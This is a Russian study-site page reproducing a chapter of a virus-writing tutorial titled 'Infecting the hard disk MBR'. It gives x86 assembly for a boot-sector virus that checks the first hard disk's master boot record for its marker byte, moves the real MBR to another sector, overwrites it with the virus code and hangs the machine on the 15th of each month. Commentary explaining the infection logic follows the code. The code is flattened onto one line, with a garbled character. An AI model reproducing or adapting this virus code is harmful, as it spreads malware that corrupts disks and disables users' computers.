Студопедия

КАТЕГОРИИ:


Архитектура-(3434)Астрономия-(809)Биология-(7483)Биотехнологии-(1457)Военное дело-(14632)Высокие технологии-(1363)География-(913)Геология-(1438)Государство-(451)Демография-(1065)Дом-(47672)Журналистика и СМИ-(912)Изобретательство-(14524)Иностранные языки-(4268)Информатика-(17799)Искусство-(1338)История-(13644)Компьютеры-(11121)Косметика-(55)Кулинария-(373)Культура-(8427)Лингвистика-(374)Литература-(1642)Маркетинг-(23702)Математика-(16968)Машиностроение-(1700)Медицина-(12668)Менеджмент-(24684)Механика-(15423)Науковедение-(506)Образование-(11852)Охрана труда-(3308)Педагогика-(5571)Полиграфия-(1312)Политика-(7869)Право-(5454)Приборостроение-(1369)Программирование-(2801)Производство-(97182)Промышленность-(8706)Психология-(18388)Религия-(3217)Связь-(10668)Сельское хозяйство-(299)Социология-(6455)Спорт-(42831)Строительство-(4793)Торговля-(5050)Транспорт-(2929)Туризм-(1568)Физика-(3942)Философия-(17015)Финансы-(26596)Химия-(22929)Экология-(12095)Экономика-(9961)Электроника-(8441)Электротехника-(4623)Энергетика-(12629)Юриспруденция-(1492)Ядерная техника-(1748)

Заражаем MBR винчестера




Следуя алгоритму, настало время проверить, заражена - ли MBR первого жесткого диска, и если нет - заразить ее. Поэтому приступим к делу:

push cs;ES = CS pop es;; mov dl,0080h;Считаем MBR call cs:read_mbr;винчестера jc cs:to_quit;по адресу;CS:0400h, при-;чем загрузка;сейчас может;производиться;и с дискеты! cmp byte ptr ds:[400h],33h;MBR уже зара- je cs:to_quit;жена?; mov dx,0080h;Нулевая головка;первого жестко-;го диска mov cx,000ch;Сектор 12,;дорожка 0 mov dl_save - 100h,dl;;Сохраним эти;параметры. call cs:write_mbr_last;Кроме того,;перепишем нас-;тоящую MBR в;сектор 12 jc cs:to_quit;нулевой дорожки;на нулевой сто-;роне HDD. xor si,si;Сформируем код mov additor - 100h,00h;для записи его mov cx,prg_lenght; copy_vir_mbr:;на место исход- mov al,byte ptr ds:[si];ной MBR mov byte ptr ds:[si + 400h],al; inc si; loop cs:copy_vir_mbr;; mov dx,0080h;Запишем этот call cs:write_mbr;код в первый;сектор ну??евой;дорожки нулевой;стороны винчес-;тера to_quit: mov ah,04h;Наш int 1ah;вирус при jc cs:bad_clock;загрузке по cmp dl,15h;15 - м числам vis: je cs:vis;вешает систему bad_clock: popf;Восстановим из pop es;стека pop ds;регистры pop si; pop dx; pop cx; pop bx; pop ax;; db 0eah;И отдадим упра- dw 7c00h;вление настоя- dw 0000h;щей загрузочной;записи (MBR)

Как вы видите, вирус достаточно свободно "чувствует" себя в памяти. В самом деле - свой код он записывает в младшие 512 байт первого "отрезанного" у DOS килобайта, а MBR винчестера считывает в младшие 512 байт второго килобайта. Так сделано для большей понятности программы и облегчения программирования, но один килобайт памяти фактически тратится впустую (что с некоторой натяжкой можно отнести к вредным действиям нашего вируса). Процедура "read_mbr" читает сектор 1 дорожки 0 на нулевой стороне указанного диска. Процедура "write_mbr" записывает данные из буфера по адресу: CS:0400h в сектор 1 дорожки 0 на нулевой стороне указанного диска. Процедура " write_mbr_last " записывает данные из буфера по адресу: CS:0400h в заданный сектор того или иного диска и заполняет ячейки памяти:

num_head и cyl_sect.

Для проверки зараженности MBR вирус сравнивает ее первый байт с первым байтом своего кода - числом 33h. Далее, в поле "additor" заносится число 00h, необходимое для корректной загрузки с винчестера. Стоит отметить, что заражение MBR происходит исключительно при загрузке с зараженной дискеты. Когда операционная система будет загружена, вирус будет инфицировать только гибкие диски при попытке прочитать их содержимое.А поскольку никому не придет в голову менять жесткие диски во включенной в сеть и работающей машине, нет смысла предусматривать заражение MBR в резидентном режиме. Если же попробовать проделать вышеописанную процедуру, то компьютер с высокой вероятностью выйдет из строя, и вирус " погибнет " вместе с ним.




Поделиться с друзьями:


Дата добавления: 2014-11-20; Просмотров: 420; Нарушение авторских прав?; Мы поможем в написании вашей работы!


Нам важно ваше мнение! Был ли полезен опубликованный материал? Да | Нет



studopedia.su - Студопедия (2013 - 2024) год. Все материалы представленные на сайте исключительно с целью ознакомления читателями и не преследуют коммерческих целей или нарушение авторских прав! Последнее добавление




Генерация страницы за: 0.009 сек.